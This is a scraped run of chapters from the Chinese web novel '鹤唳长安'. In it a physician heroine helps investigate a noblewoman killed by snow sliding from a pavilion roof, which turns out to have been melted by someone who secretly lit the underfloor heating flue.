清晨第一缕曦光破云而出时,姜离一个激灵醒了过来,她满腔酸涩地望着帐顶,心道她从小便不是个听话之人,让她不要来,她偏偏来,让她走,她偏偏回,反正再大的苦头她也吃过了。 起身用早膳之时,吉祥从外走进来,“大小姐,寿安伯府送了帖子来。” 姜离接过帖子,一笑,“还真邀我过府。”- 付云慈设宴请客,姜离自要赏光,午时过后,她乘着马车往寿安伯府去,等到了府中,便见果然是付云慈和虞梓桐一起候着。 二人迎她回了付云慈的小院,进门便有佳肴飘香。 付云慈笑道:“你快看看,这些都是我母亲的手艺,知道你少时在徐州长大,她今日一早便开始忙碌,尤其这道鸭汤,炖了三个时辰。” 姜离 望着满桌子菜肴,心底暗道不妙,付云慈又道:“徐州菜风味清鲜,浓而不腻,我有位表姨祖母早年嫁去徐州,母亲曾去住过两年,对徐州美食念念不忘,后来专门请师父在府上做过一段时间徐州菜,快快,就咱们三个自在,都落座吧。” 付云慈说着,亲手给姜离盛汤,“我以汤代酒,敬谢姑娘,往后姑娘若有何吩咐,我自万死不辞——” 姜离听得失笑,只好盛情难却地接了汤,尝过后赞道:“果然鲜美,我已经好多年未曾吃到徐州菜了,多谢你和夫人费心。” 见她喜欢,付云慈松了口气,虞梓桐则急急道:“还有一桩好事,伯爷上了两天折子,今晨陛下已革徐令则之职,还罚了徐将军半年俸禄,那庆安伯遭了斥责,还把世袭的爵位丢了,陛下降格三等,他们府上的爵位再袭两代而终,听说庆安伯回府就请了御医,还有余氏宗族上门大闹,这都是用心狠毒的报应!” 姜离眼眸生亮,“陛下对庆安伯府倒未留情。” 虞梓桐笑道:“可不是,徐家这边,徐令则不走科考,如今被革职,这几年无人敢用他,也算给他长了教训,让他背信弃义!” 康景明死罪难逃,如今徐家与余家也得了处置,这桩公案便算有了个好结局,实在值得三人为此共饮一杯,虞梓桐便趁兴拿起一旁的酒壶道:“薛姑娘自江湖来,没那么多规矩掣肘,应是能饮几杯吧?” 姜离心底如临大敌,面上道:“我身有旧疾,实在不得饮酒。” 虞梓桐愣了愣,付云慈关切道:“我就说你肤色奇白,可是因旧疾之故?” 姜离苦笑,“不错,我少时患有心疾,后来虽痊愈,却还得注意些。” 付云慈二人一惊,虞梓桐快人快语道:“幸而痊愈了,你医术高明,想来能照顾自己,且你如今回来了,你母亲可能好些?” 怕姜离误会,她又道:“你母亲多年来深居养病,长安世家多少知道几分内情。” 姜离叹道:“我母亲的病沉疴已久,如今还未想到好法子。” 虞梓桐自幼丧母,亦知简娴因何而病,犹豫一瞬道:“我倒听说过一个法子,对神志有损之人有用,可风险也大,若是旁人我便不说了,可姑娘是江湖人或能听听看。”< 第 29 章 雪死 《鹤唳长安》全本免费阅读 漭漭夜色中,薛氏马车朝着丰乐坊疾驰。 赵妈妈切切道:“我们姑娘自从在您府上瞧过病,这几日已能安睡,若是别人宴请她是绝不会去的,可今日是宜阳公主下帖,她便不得不应了,连着几日大雪,宜阳公主府上寒梅开的正好,再加上她府中景致本为长安一绝,今日雅集人极多,庆阳公主和德王殿下在,定西侯高家、安国公萧家、勋国公殷氏的世子小姐们也都来了。” 姜离听得眸色微动,定西侯高氏是太子生母贵妃高琼华之母族,先帝时以军功封侯,因是行伍出身的后起之秀,起先并不得世家人望,可到了本朝,高氏仍掌定西军,而高琼华诞下皇长子李霂,待李霂被立为储君,她被加封为贵妃后,高氏一跃成为最如日中天的有爵世家。 勋国公府殷氏乃肃王之母贤妃殷霜母族,勋国公殷伯谦虽未掌兵,却领吏部尚书之职,乃文臣之首,极得景德帝倚重,和高、殷两家相比,安国公府萧氏则显得寥落。 萧氏本是当今皇后萧清漪母族,已逝的老安国公掌镇北军军权,辅佐景德帝登基,并为他抗北燕,平戎狄,定三王之乱,立下汗马功劳,萧氏一族亦列世家之首。 可一来萧清漪并未诞下皇子,二来,二十年前她所出的宁阳长公主逝世后,她不知为何与景德帝交恶,多年来幽居宁安宫形同软禁,掌宫之权也由高贵妃把持,当今的安国公萧律为皇后之侄,虽仍掌镇北军军权,却被勒令驻守飞霜关,无诏不得返京,长安城中只余夫人谢氏与一双儿女。 萧清漪虽被幽禁,景德帝却并未苛待于她,当年她身患隐疾,虞清苓时常入宫为她诊病,景德三十三年瘟疫时,虞清苓因治疫染病,为萧清漪施针问药的担子便落在了姜离肩上,也因此,姜离与萧氏兄妹颇有情谊。 姜离思绪游弋片刻,又听赵妈妈说下去—— 她道:“雅集也不过是赏雪赏梅,作诗做赋,姑娘本满心害怕,可今日这般场面,却没法子带着奴婢们进进出出,她原是打算雅集之后便去您府上的,可眼看着快散场了,却出了意外——” “宜阳公主府上楼台林立,为了今日雅集,还专门在一处楼馆外搭建了花棚,好让大家离红梅白雪近一些,可没想到连日大雪,楼檐上积雪冰霜极厚,我们姑娘和安远侯府上的三姑娘坐在花 棚里歇息的时候,那楼檐上的积雪冰凌忽然滑下来,重重砸在了花棚之上,花棚被砸塌了不说,我们姑娘受了伤,而那位三姑娘正坐在楼檐之下,竟是被砸的重伤不治没了性命……” 姜离面色一变,“你是说孟湘?!” 赵妈妈红着眼点头,“是啊,就是孟姑娘,那些积雪再加上冰凌积攒了四日,足足几百斤,说把孟姑娘的脖子都砸断了,出事后下人们光是挖人都挖了半刻钟,半刻钟的功夫,就算没砸死,人在雪堆里也活活憋死了。” “我们姑娘当时站在靠外之地,花棚砸下来时,她也被冲倒在地,肩膀和额头受了伤,更要紧的却是她又受惊吓,人晕过去两次,还胡言乱语起来,宜阳公主请来了太医署的御医,可她怕生人近身,神思混沌之时,只让奴婢们请您过去,奴婢走的时候姑娘血流不止,却不让人包扎,奴婢只怕去的晚了姑娘也有性命之危。” 姜离终于明白赵妈妈为何开口便是“救命”,但她听完因果,却只觉背脊发凉。 庆阳公主府的莳花宴上,她才见过孟湘,当年在长安时,她也与孟湘有过数面之缘,前后不到半月,活生生的小姑娘竟被积雪砸死,而就在莳花宴,她与郭淑妤亦差点被花盆砸得命丧当场…… 前有花盆,后有积雪,若今日受伤的是别人也就罢了,可竟是郭淑妤再生性命之危,姜离不禁警心大作,有这样凶险且密集的巧合吗? 她严肃问:“今日又是意外吗?” 赵妈妈是郭淑妤近身嬷嬷,最知她这一年多遭遇,她苦涩道:“是意外,当时花棚里只有她们两人,楼里也无人,那檐上积雪极厚,这几日大雪夹杂着冷雨,雪层里还结了冰,除非有人拿着推杆用力打砸,否则狂风都吹不下来。” 薛府各处楼台馆舍上也积着厚雪,今日一早,管家薛泰便带着府内下人在几处陡峭屋檐除雪,确是要用力打砸才能将积雪推下。 赵妈妈越想越后怕,“真不知怎么了,夫人日日都在拜菩萨,可姑娘却像被厄运缠身似的,这一年多我们这些下人都整日担惊受怕,更莫说姑娘自己,今日这一闹,姑娘又不知缓多久才能好了。” 姜离不信厄运缠身之言,眉眼间尽是穆然,又行两刻钟,马车在丰乐坊宜阳公主府外停了下来。 下马车便 见数十辆车马伫立,显然今日赴雅集的客人尚未离去,她不敢停留,待禀明身份入府,公主府内侍引着三人一路往北行去,酉时已过,无星无月的苍穹漆黑如泼墨,公主府内却是灯烛通明,直将银装素裹的亭台馆阁映照的琼楼玉宇一般,刚走过一片怪石嶙峋的假山,姜离看到了一座三层高的八角攒尖楼宇。 赵妈妈道:“那里便是今日出事之地观梅楼,我们姑娘此前被抬进了楼里照料。” 姜离脚步更快,又行过两处亭台,到了观梅楼近前。 今日行雅集,因观梅楼轩窗窄小,赴宴之人众多,宜阳公主为了观景爽利,索性在楼西侧搭起了十丈见方的花棚—— 花棚主体为竹木,上覆草顶,作农舍野亭之趣,三面以竹帘挡风,内设席案暖炉,再置庆阳公主送来的盆景花木,先踏雪寻梅,再折梅赋诗,又比斗花艺,无论男女皆尽得其乐,前半日的确和乐,可就在暮色时分,宜阳公主请大家折梅带走时,一声巨响,意外骤生。 姜离往西走两步,清楚地看到了坍塌的花棚,赵妈妈所言无半点夸张,滑塌下来的积雪夹裹着冰凌,不仅将半个花棚砸塌,还将其内桌椅席案、花盆梅瓶皆砸了个稀巴烂,再抬眼看向观梅楼檐,便见靠近花棚这面的尖檐积雪皆已坠地。 她扫了几眼事故之地,又往楼门前走去,还未到跟前,两道熟悉的身影让她意外,几乎同时,九思和十安也看到了她,二人立刻迎上来见礼。 “拜见姑娘——” 姜离往楼内看,“你们公子也来了?” 九思点头,“不错,今日出了意外,两位公主怕不好交代,便想请公子代表大理寺过来做个见证,我们才刚来不久,安远侯和夫人已经来了,正在里头交涉,郭姑娘不太好,您快进去吧,我们还要再外探查一番。” 裴晏有宗室血脉,其人也得两位公主爱重,今日请他来倒也在情理之中,姜离应好,沿着台阶而上—— “公主殿下,薛姑娘来了。” 内侍一声禀告,门扉立刻从内打开,却是虞梓桐守在门口,她一把将姜离拉进来,“你终于来了,快快进来。” 姜离抬步进门,厅内目光瞬间落了过来。 她眼风扫过,便见在场者除了赵妈妈提过的安国公府世子萧睿与大小姐 萧碧君,定西侯府世子高晗与堂弟高晖、堂妹高清芷,勋国公府大小姐殷嘉宁之外,李同尘与李策也在,尚未打过照面的虞梓桐的哥哥虞梓谦竟同站一旁…… 除了他们,还有段国公府世子段冕与弟弟段凌、兵部尚书府公子宁珏,当日去莳花宴的淮阳郡王府大小姐李幼仪、越国公府三小姐楚岚也红着眼站在窗前,另有两三个面熟但姜离一时叫不出名字的年轻公子也满脸沉重。 当今朝堂太子与肃王相斗不休,唯独萧氏置身事外,太子身后有高氏、薛氏、宁氏,肃王则有殷氏与段氏,而皇后膝下无子,肃王又缺武将支持,便明里暗里拉拢萧氏,但因萧律不在长安,世子萧睿患腿疾未曾入仕,肃王始终未能如愿。 宜阳公主李蕙比庆阳公主小两岁,因其母出身微寒,她的性情远没有庆阳公主骄纵张扬,她于十二年前与驸马崔斐成婚,膝下的长乐县主崔槿年仅九岁,今日请的人这样齐,正符合她谨慎周全谁都不得罪的性子。 此时厅内正北面,她正和德王李尧,庆阳公主李莹站在一处,裴晏白衣凛然,站在几人最前,而靠墙的罗汉榻上,几日前还鲜活貌美的孟湘正满身是血的仰躺着,安远侯孟谡和夫人钱氏正泪水横流地望着她,罗汉榻尾,两个鸦青锦袍的中年男子手附血色颔首而立,正是太医令金永仁与太医丞白敬之。 姜离眼瞳微微一缩,白敬之…… 听见她进门,李蕙作为主人正要说话,一旁的钱氏却急急开了口,“薛姑娘,都说你能起死回生,求你救救我女儿——” 钱氏说着就要上前,却被孟谡一把拉了住,“夫人,不可能了……” 钱氏不解地看着孟谡,“侯爷!她是辛夷圣手啊,死了七日的人她都能救活,何况我们女儿才断气半个时辰呢?她身上还是热的啊!” 言毕,她又看到救命稻草一般望向姜离,“薛姑娘,求求你了——” 姜离回京半月,在场者无不知她名号,此前见过的倒也罢了,未见过的皆满眸好奇打量她,仿佛在想她是不是真能起死回生。 见钱氏悲痛欲绝,姜离也心生戚然,但她都不必近前检查,只远看孟湘脖颈的曲度,便知赵妈妈说的,她被砸断脖颈而亡是真…… 姜离正难答话,一旁裴晏道:“夫人,医家并非神仙, 请夫人节哀。” 见钱氏仍然直勾勾望着自己,姜离也只好道:“孟姑娘却已辞世,夫人节哀。” 钱氏眼底唯一一点明光迅速寂灭,一转身,扑在孟湘身上嚎啕大哭,宜阳公主红着眼安抚两句,又朝姜离走来,“薛姑娘——” 姜离欠身,宜阳公主快走两步将她扶起,“姑娘先不必多礼了,这里没法子了,先去看看淑妤,她的侍婢说前几日才请你看过病的,她吓坏了。” 宜阳公主转身,姜离也带着怀夕往西面的耳房而去,刚一进门,姜离便见三丈见方的小屋内,郭淑妤正抱膝缩在榻角,她额头有寸长伤口,肩头襟前多有血迹,发髻也狼狈的披散了下来,此刻一边低泣一边念叨着什么,因陷入臆想,连有人进屋也没有反应。 “不要害我,不要害我……” “不要怪我没有救你……” 姜离听清她所言眸色微变,这时裴晏和虞梓桐几人也走了过来,其他人许是想看看她这个辛夷圣手如何治病,也都围近了些。 姜离先问画屏,“郭姑娘所言何意?” 画屏抽噎道:“姑娘说岳姑娘在怪她。” 说着话,画屏上前轻抚郭淑妤背脊,“姑娘,薛姑娘来了,您别害怕了,薛姑娘来给你治伤了。” 郭淑妤并无反应,口中仍是两句翻来覆去,姜离看一眼怀夕,也上前轻轻坐在郭淑妤身边,见郭淑妤并无惧色,她缓缓将郭淑妤的手拉了出来,郭淑妤发抖低喃毫无所觉,姜离接过怀夕递上来的银针,往她手背鱼际、液门二穴刺去。 些微的刺痛令她身子一颤,待两穴冒出血点,她口中呢喃停了下来,又似三魂七魄归了位,她眼神渐渐清明,没多时,她身子一直,像从梦魇中彻底醒了过来。 她一下认出姜离,“薛姑娘,湘儿她……” “我都知道了。” 姜离语气和婉,又为她问脉,很快又道:“脉象看着还好,是受惊过度,但你的伤口需要包扎——” 李蕙见状便道:“那我们先出去。” 她带着几人关上门,一门之隔,只听郭淑妤抽泣道:“薛姑娘,湘儿死了,被好大一堆雪砸死了,就和我们在公主府一样,我也差一点就……” “我昨夜还梦到了盈秋,她在怪我,怪我没 有去救她,怪我们当日所有人,湘儿,哦湘儿与她亦是挚友……” “她莫不是想让我们去陪她……” 郭淑妤之言让众人背脊发凉,在场者互为相识,皆知她说的是何人何事,段国公世子段霈上前一步,“她怎么还在念叨此事?” 楚岚闻言道:“她与盈秋自幼相识 第 30 章 人为 《鹤唳长安》全本免费阅读 观梅楼建于高台之上,坐北朝南楼高三层,于一楼铺设地龙,其地龙灶口设在东北方向的耳房内,耳房逼仄,长约丈余,只落有两口灶台、两架茶炉并些许茶水器具,方便宜阳公主在楼内待客。 今日乃是入冬之后宜阳公主第二次设宴,而观梅楼地龙早在十月初初次设宴时便被封死,封死烟口的,乃是灶台后一块三寸厚的泥砖。 常在耳房侍候的小厮道:“那块地砖二尺见方,和卡口严丝合缝,取出时极费力气,小人们平白无故谁也不会取出来,且公主殿下早有交代,出了岔子小人们是要被责罚的,今日公子小姐们人多,折梅插花后还需热水净手,因此两孔灶台都启用,从午时之后灶台便起了火,期间因烟口封死,耳房内还易呛烟,我们整日都开着大门。” 裴晏站在灶台一侧,九思指着地上乌漆嘛黑的泥砖道:“公子,我们的人来搜的时候,这块砖是平放在地上的,上面有几道取用痕迹,但不确定何时所留,此外灶膛里的火早应该熄灭的,可如今尚有余炭。” 裴晏目色微寒,看完了耳房,又出门绕几步,往西北方向的烟囱走去,李策跟在他身边,刚走到跟前便悠悠道:“地龙铺设的烟囱砌在墙内,烟气正易积在房檐下,再加上这楼健于高台,屋檐陡峭,檐上积雪砸下之势便更为猛烈。” 他说完有些叹然,“虽说一般人不留意这些,但稍微懂些地龙取暖之理,再熟悉观梅楼的,便能想到这法子。” 再回楼内,宜阳公主与庆阳公主当先迎了上来,其他人亦紧紧盯着裴晏。 裴晏沉声道:“今日事故并非意外,而是人为。” 他先道出结论,只惊得众人面生惧色,德王李尧道:“人为?真是那地龙出了岔子?” 宜阳公主也急问:“鹤臣,到底怎么回事?” 裴晏道:“自两个小厮离开耳房已有一个多时辰,灶膛内仍有余炭,因此可以断定,是有人先取出封死烟道的泥砖,还往灶内加了炭,而起炭量不至烧暖地龙,乃是为了烟囱化雪,如此繁复之行,绝不可能是无意为之。” 他目光森严扫过众人,“此人懂地龙取暖之法,也知观梅楼易滑雪,而来观梅楼和梅园的路只有两条,雅集开始之后,路上皆有小厮值守待命,事发之前的半个时辰内并无其他 人进来此地,而侍婢小厮们在一处当值互有人证,无人单独行动,这便是说,偷烧地龙酿成惨祸之人就在诸位之中。” 他字字铮然,话语落定,厅内之人面面相觑后皆露冤枉之色,定西侯世子高晗便道:“鹤臣,这意思是说,我们之中有人故意烧热地龙酿成事故?可我若未记错,当时孟湘和淑妤去梅林后,是自己决定回花棚歇着的——” 楚岚闻言道:“不错,湘儿一开始想去折梅,可她下午碰了瑶台玉凤嗓子一直不适,暮色时分外头又冷,她没走几步便有些后悔,当时淑妤是陪着大家同去的,因她晚上要去别处,折梅多有不便,于是那时湘儿便说不如她们先回去歇着,淑妤闻言也乐意,遂陪她回了花棚,却不想刚回去没多久便出了事。” 高晗接着道:“这便是说她二人也算是临时起意,但若当时临时起意的是其他人,那今日遇难的岂非不知是谁?如此,若说这故意烧地龙的人是想害人,那他如何确定被害的是谁呢?” 虞梓桐这时道:“不就是孟湘吗?她下午咳了半晌,我们都注意到了,且后来折梅时,我们一开始便说让她歇着,是她不愿扫兴才出来。” 高晗想了想,似乎是这个道理,便惊道:“那便是为了害孟湘?” 安远侯孟谡和夫人钱氏一听此言,再也顾不上悲恸,孟谡上前道:“这便是说,那人下午看到了湘儿身体不适,听说安排了折梅便猜到了湘儿不会去,于是……于是他便想到了这法子,制造了这起意外?” 话音落定,楼内耳房的门吱呀而开,是缓过来的郭淑妤和姜离一起走了出来,她重新挽了发髻理了衣裳,却还是掩不住地狼狈,她红着眼道:“伯父,若我没有记错,当时是男客们先一步离开花棚,他们走的时候,梓桐她们正在劝湘儿等在花棚。” 做为今日另一受害人,郭淑妤证词自是万分紧要,听她一言,一众公子们互视一眼都有些惶恐,孟谡也道:“凶手以为湘儿真会留下,于是离开花棚后寻机去了耳房?不错,如此正说得通,若湘儿是为人所害,那裴大人,此事就不能当做意外了!” 钱氏悲哭不已,“可湘儿何曾与人结仇,是谁要害她?!” 裴晏道:“侯爷尽可放心,公主殿下既请了我来,便是想严肃处之,如今已确信事故是人为, 自不可能当做意外,至于凶手是否为了谋害孟湘,还需调查。” 段霈见状上来道:“傍晚是我们先离开花棚的,那这也简单,只需看谁没有人证便可,我可是一直和两位公主殿下在一起。” 段霈在右金吾卫当值,对稽查案子颇有心得,他先一步洗脱自己嫌疑,其他人一听,纷纷七嘴八舌想为自己证明。 但这时虞梓桐又道:“可孟湘她们二人回去的早,若她们回去之后凶手再去行凶,也是来得及的,不能一概而论。” 如此一来矛头指向便不论男女,这时殷嘉宁道:“可不是说又要取什么泥砖又要烧火吗?女孩子力气可足?跑的可够快?何况烧火之地总有颇多灰尘吧,我们衣裳繁复, 第 31 章 意外 《鹤唳长安》全本免费阅读 “孟姑娘第三第四节颈部椎骨骨折是为致命伤,除此之外,其右肩、右侧额头,颅骨皆有横向撞击淤伤与创口,左腰侧和左臂处有片状淤伤,右膝和右腿外侧亦有两处创口,从其衣裙破损痕迹来看,当是积雪滑塌之时她坐西朝东,左侧淤伤为积雪夹裹冰凌导致,右侧则是倒地之后碰到了身侧的席案茶盏碎片所留,骨伤亦是向右倒地后,头颈撞至席案而折,除此之外,还有些零星擦伤,未发现其他可疑伤痕。” 孟湘死因已定,身上伤势也分明,不过一刻钟姜离便验看完毕。 她话音落定,郭淑妤道:“姑娘说的不错,事发之时我站在花棚靠外的位置,想看看其他人何时回来,湘儿则坐在席案上饮茶,瑶台玉凤似乎对她有毒,下午插花时选了瑶台玉凤后她便一直在咳嗽,她席案位置距离首位很近,便也尤其靠近屋檐方向,幸而我当时未坐在于席案才躲过一劫。” 她面上心有余悸,裴晏一边看着手中口供一边道:“金太医和白太医也没有补充了吧?” 金、白二人皆年过不惑,金永仁宽面阔额,斯文敦实,白敬之却是长脸细眼,清瘦身骨,闻言金永仁道:“没有补充了,我们二人先后到的公主府,所闻所知应无差。” 金永仁说话之时,目光不时落在姜离身上,似对她颇为好奇,白敬之站在他身后,不多言不冒头,一副中庸内敛的谦和之态。 裴晏将证供交给九思,又看向安远侯孟谡和夫人钱氏,“孟姑娘近日可有何异常?” 孟谡道:“近日一切如常。” 钱氏也道:“没什么异常,她哥哥平日在军中,我们跟前就一个她,我紧张她如同眼珠子一般,这些日子家里正在合算她的亲事,她自己也是高兴的。” 裴晏问:“亲事?与谁家结亲?” 钱氏欲言又止,庆阳公主看了一眼不远处的高氏兄弟,轻声道:“本宫也听说了,是要和定西侯家结亲吧?” 钱氏抹着眼泪点了点头,“倒也还未说定。” 庆阳公主叹了口气,“实在遗憾。” 安远侯孟谡掌着五万神策军,在朝中亦颇有人望,如此才入了高氏之眼,但可惜,亲事还未说定孟湘便香消玉殒。 裴晏作了然之色,又道:“待会儿可将孟姑娘遗体带回去停灵 ,但何时下葬需得与衙门再议。” 孟谡和钱氏悲恸点头,宜阳公主这时又道:“今日来的客人以前几乎都来过府上,虽不一定注意到地龙烟囱,但多半知道后面的耳房是用来备茶水的,且来的家家都铺有地龙,知道如何利用,为今之计是不是问清楚证供,再从她们受害者身上入手?” 裴晏点头,“公主所言不错。” 他目光一转看向郭淑妤,“郭姑娘,听闻你此前遇到了多次意外?” 这么一说,庆阳公主叹息道:“光我知道的就有三次,我府中那次,寄舟和同尘在,还有一次,宜阳和德王也在,就在他城外的庄子上。” 李尧正与十安说今日梅林行迹,闻言加快语速说完走过来道:“就在我城外玄武湖畔的宅子里,是去岁八月中,为了秋猎和赏月去的,当夜众人歇下之后,她住的屋子着了火,差点出了事,不过当夜我们仔细搜查过,最终认定多半是意外。” 裴晏疑问,“多半?” 李尧年二十一岁,身量挺拔,眉眼温文,一袭万字团花纹墨色锦袍显得器宇轩昂,他点头道:“当时火势起的快,但我们应对及时,很快扑灭了,后来里里外外都看了,其他人也都歇在自己屋子里,不可能有人故意纵火,再加上当时天干物燥,确像意外。” 裴晏比李尧年长两岁,又做过他皇子伴读,与旁人相比,他二人情谊不比寻常,李尧见他颜色不改,耸肩道:“你若不信自去问其他人,哦对了,当日孟湘也在。” 裴晏心底滑过古怪,“她二人同在?” 这么一说,庆阳公主也道:“在我府上出事的那日,她们两个也都在,只不过当时出意外受伤的是淑妤和薛姑娘。” 裴晏看向姜离,李尧也望向她,姜离便道:“那日是花盆从三楼意外砸下,我没什么,只郭姑娘伤了手腕——” 话音落定,道完证供的李策接言道:“后来我去看了,应该是窗台外的花架年久失修难以承力。” 裴晏拧眉,“应该?” 李策无奈道:“架子老旧生有青苔,断口是折断,且当时没有人在三楼,自然只能是意外。” 眼下提起的两次意外,看着的确像意外,但没有人十成十确定,裴晏又看向郭淑妤,“郭姑娘将这数次意外仔仔细细说下 来,衙门做个记录,除了公主府和王爷宅邸,可还有哪一次是孟湘也在的?” 郭淑妤面色微白,“还有去年八月,我在玄武湖落水的那次湘儿也在。” 裴晏微讶,“算上今日,便有四次意外你二人在一处。” 郭淑妤应是,又道:“那日我坠湖受凉,恍惚间感觉有人推了我一把,可后来证明,或许只是风浪太大,我碰到了酒旗绳索之物,且其他人都有人证,我那时精神也有些恍惚,便又当做意外处之了。” 众人面面相觑,一二次还算意外,可一年内来了四次,有这样的意外吗? 裴晏又问:“还有别的事吗?” “还有去岁年末,我的马车车轴断过,我差点随马车摔下悬崖,而去岁九月,我的猫儿也忽然死了。”郭淑妤说的面露恐惧,“这一切都是在盈秋过世之后开始的,我……我也不知是怎么了……” 裴晏狭眸,“你是说去岁三位官家小姐遇害之事?” 郭淑妤点头,裴晏沉吟道:“你说的案子我记得,但案发在五月,你的猫儿过世也是九月的事了,中间过了四月,你为何有此联想?” 郭淑妤缩紧肩膀,一旁姜离道:“因她自岳姑娘出事之后受惊太过,患了惊妄之症,后来每每缓和几分时,又出意外,一年多来深受折磨。” 裴晏颔首,“那便把几次事端前后因果细细说一遍,让大理寺之人记录下来,连着多次意外你二人皆在一处,今日凶手谋害对象亦有可能是你二人,马虎不得。” 郭淑妤明白轻重,自去一旁问证,这时李策悠悠道:“薛姑娘,这最近两次案子姑娘都帮了不小的忙,实在是辛苦。” 姜离眼风扫过裴晏,“也实在是巧。” 话音落定,九思从外进来,“公子,问的差不多了,有人证的不少,但也有七个人中间独行过,名单在此——” 裴晏接过纸张一目十行扫过,先道:“李寄舟?” 李策手一摊苦笑,“有什么法子,他们个个跑的兔子一般,好看的都被他们折去了!我只好跑远些了!同尘和少安能为我作证!” 少安是高晗表字,裴晏眼底闪过无奈,“罢了,今夜证供只是其一,你们可以先走了。” 李策舒出一口气,又对孟谡夫妻道了节哀, 与李同尘几人先一步离去,他们一走,其他人耽搁了半晚上,也都陆陆续续告辞,不多时,虞梓桐也来告辞,临走之前,她拽着虞梓谦过来道:“哥哥,这便是我与你说的薛姑娘。” 虞梓谦着麒麟纹窄袖玄袍,长眉峭鼻,比五年前更挺拔英武,他对姜离拱了拱手,“薛姑娘,桐儿一直夸赞你,久仰了。” 姜离欠了欠身,虞梓桐道:“阿泠,我哥哥本在白鹭山书院进学,昨日正好回来了,我便想着今日他来发散发散,却不想出了事,我们先告辞一步。” 姜离自然应好,又目送二人离去,待郭淑妤将这一年多的意外仔细说完,便见只剩下姜离还在等她。 她歉然道:“薛姑娘,真是不好意思,耽误你一晚上。” 姜离仔细看她面色,“姑娘眼下如何?” 郭淑妤眼眶微红地看向停尸的方向,哽咽道:“我再难受,好歹还活着,湘儿却是……我们当日六人出游,如今盈秋和湘儿都……” 姜离不知前几次意外孟湘也在,如今知道,心底古怪之感实难消解,“为何前几次意外孟姑娘也在?你与她次次邀约彼此?” 郭淑妤摇头:“我与她虽是亲厚,但这一年多我病恹恹的,不会主动约人,只是我们也算幼年相识,好友皆彼此认得,容易同被邀请,我,盈秋,湘儿,楚岚,我们四个大小便相识,说来她和盈秋住的近,早年她二人还更亲近些,后来盈秋搬了府邸,离我近些了,我便与盈秋走动的多……” 姜离依稀记得庆阳公主府出事时,楚岚与孟湘更为亲昵,可见四人有亲疏之分,她不再多问,而不远处九思正对裴晏禀告道:“所有人小人都仔细看了,没有人身上有耳房痕迹,凶手显然十分谨慎,问为何独自离去,他们也都是说白日里本就折了不少梅枝,近处的梅树被剪掉许多 第 32 章 诊病 《鹤唳长安》全本免费阅读 短短一夜,安远侯府小姐于宜阳公主府中横死之事,已在世家间流传开来,郭淑妤来薛府施针之时,薛沁也跟来了盈月楼。 姜离给郭淑妤问脉,薛沁在旁唏嘘道:“数日前才见过的人呢,就这么没了,侯夫人只怕要伤心死了,哪日能上门吊唁呢?” 郭淑妤道:“昨夜已经回去治丧,想去的话今日便可。” 薛沁狐疑看着二人,“是怎么出的事?怎么你们三缄其口的,长姐昨夜去公主府不是给淑妤你看病吗,你们应该都清楚啊。” 郭淑妤叹道:“是房檐上的积雪滑落砸到了湘儿。” 薛沁眼睛一瞪,“这也太冤了吧,湘儿今岁才十九,就这么白白无救了?” 到底是死了人,她面生哀戚道:“她这些年处处勤勉,我还听闻她要和高家定亲呢,说贵妃娘娘十分喜欢她,可谁能想到这么突然……” 郭淑妤点头,“是啊,太突然了。” 姜离这时道:“还是按前次的法子施针,姑娘去榻上躺下。” 郭淑妤施针需得宽衣,薛沁见状识趣道:“我得和泰叔说一声,快些把各处的雪除完,免得出岔子。” 她离去,室内默然片刻,郭淑妤一边施针一边黯然道:“父亲母亲知道昨夜之事吓得不轻,今日一早便去侯府吊唁,又怕我出事,增派了不少护卫。晨起我还派人去了一趟公主府,说大理寺的人留守了一夜,今日还要搜查,又说长乐县主也被吓病了,县主自幼体弱多病,昨日梅园又冷,只怕不大好。” 姜离心底微动,“县主是何病?” 屋内只有怀夕在旁侍医,但郭淑妤还是轻声道:“据说是羊儿疯,三年前开始发作的,宜阳公主殿下瞒的死,具体情况外头也不知。” 姜离眉峰微紧,“小儿羊儿疯汤液难医,多用针灸方可见效。” 郭淑妤不由道:“姑娘也擅小儿病?” 姜离便道:“我跟着师父习汤液与针灸,未分过大人病小儿病,可真要说来,小儿病确有颇多要异,因此自两年前开始我精研小儿病,还在江湖上拜访过多位擅小儿病的医家,如今说擅长不敢,但应有的治。” 郭淑妤这时道:“昨夜的白太医你可有印象?他是太医署最擅小儿病的。” 见姜离点头,她 继续道:“昨夜事从紧急,是公主殿下点名把白太医也请来,那位金太医是太医令,医术是众所周知的好,请他自是应该,但请白太医,一来他是太医丞,太医令与太医丞同来足可服众,二来公主殿下后来多半没有放他走,而是令他给受惊的县主诊病去了,这位太医丞有悬壶济世之心,这几年都在办外面的苦差,回长安应没几日,我猜今日公主也是请他给县主看病。” 不必郭淑妤细说姜离也已猜到,她目光晦暗片刻,心底有了计较。 这时郭淑妤又一叹,“可惜湘儿命丧当场,最好的太医来了也无用。” 此案虽与姜离无关,但白敬之近日多半常出入宜阳公主府,再加上她脑海里不住浮现昨夜孟湘淤伤遍布的遗体,便也问道:“孟湘平日里是个怎样的人?” 郭淑妤道:“薛沁说的不错,湘儿是极勤勉之人,她模样清秀,德容言功无不出类拔萃,若说昨夜的裴大人是世家儿郎典范,那湘儿便是长安贵女典范,且她虽被侯爷和夫人捧在手心里长大,却年纪轻轻便目标明确,她是我们之中最早期待嫁人的。” 施针要半刻钟功夫,她索性闭上眸子道:“早在四年前,我们刚过十五岁,她便起了嫁人的念头,能与高氏定亲她是极其高兴的,别处样样争先,亲事上自也不肯落人后,高氏是除了天家宗室之外极好的成婚人选了,我们几人之中,她最拔尖,盈秋与她却是相反,当然,盈秋出身不比她,其上也没有哥哥,我原以为,她以后定是鲜花着锦,会是我们几个之中最好的……” “岳姑娘是独女?那她出事后父母可安好?” 郭淑妤苦涩道:“自是好不了,她父亲大病一场,在去岁年底病逝了,如今家里就剩下她母亲一人,幸而还有几分家底,只不过,岳氏旁支起了争夺家产之意,想欺负她一个寡母,我与哥哥帮了两回才暂且将那些人镇住了。” 白发人送黑发人也就罢了,先失女儿又失夫君,可想而知岳夫人打击多大,姜离心腔微窒,“幸而还有你相助,你做了这么多,她在天之灵看得到,也必定心怀感激,有这份惦念,你更无需为心魔所累。” 郭淑妤仰躺着,人松缓下来,言辞也更直接,“可再怎么帮,惨剧终究酿成,那作恶之人便是砍头一百次一千次也难挽回。” 姜 离落针已毕,她虽不认得那位岳姑娘,可郭淑妤所言,却忽然令她生出几分感同身受,她定神道:“你是在自责。” 郭淑妤眼睛闭得更紧,哑声道:“那日去三清观乃是我邀的她,若我没有喊她,惨剧便不会发生,她们家也不会落得今日这步田地。” 